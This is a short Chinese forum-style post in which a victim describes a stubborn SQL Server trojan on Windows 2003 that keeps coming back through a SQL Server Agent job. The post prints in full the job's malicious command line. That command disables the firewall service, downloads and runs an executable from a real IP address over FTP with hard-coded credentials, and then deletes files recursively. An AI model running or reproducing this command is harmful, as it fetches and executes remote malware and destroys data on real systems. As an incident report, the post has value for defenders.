一个史上最顽固超阴超狠的SQL木马！
中了一个史上最顽固超阴超狠的SQL木马！
这个木马最特别的地方，就是查不出来源，删除了一样会复活。
重装win2003和SQL SERVER都没用。
这个木马的整个流程： 木马源（不知道在什么地方）——自动运行SQL server Agent——生成名字叫“X”的自动作业——x通过运行ftp.exe，自动链接到222.208.183.101 下载木马——运行DoIt.bat安装木马，然后自动删除DoIt.bat
其中名字叫“X”的自动作业执行的指令是：
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q
用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; GoogleT5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MCDZ_V1_00-19-21-58-36-42; TheWorld)
